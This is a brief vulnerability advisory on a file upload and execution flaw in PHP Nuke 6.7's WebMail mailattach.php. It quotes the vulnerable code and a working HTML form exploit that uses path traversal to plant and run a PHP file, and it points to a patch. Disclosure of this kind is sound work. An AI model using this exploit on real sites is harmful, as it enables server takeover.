PHP Nuke 6.7 is susceptible to allowing arbitrary file upload and execution via the file mailattach.php.
685e128399a15d42c3ea8f47b608c882803d1bd7b26e13a3e5a915ccdbd4fabf
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 6.7
Website : http://www.phpnuke.org
Problem : File Upload
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
modules/WebMail/mailattach.php :
-------------------------------------------------------------------------------------------------------------------
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
@unlink($userfile);
}
}
-------------------------------------------------------------------------------------------------------------------
Exploit :
°°°°°°°
Anyone can choose the path, the name and the extention of a file to upload.
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php
and can be included and executed with the URL
http://[target]/modules.php?name=AvantGo&file=langague/bad :
<form
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"
method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>
It will work with Windows only because the temp name of the file is anything
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\'
character.
More details/Solution :
°°°°°°°°°°°°°°°°°°°°
A patch and more details can be found on http://www.phpsecure.info.
frog-m@n
_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail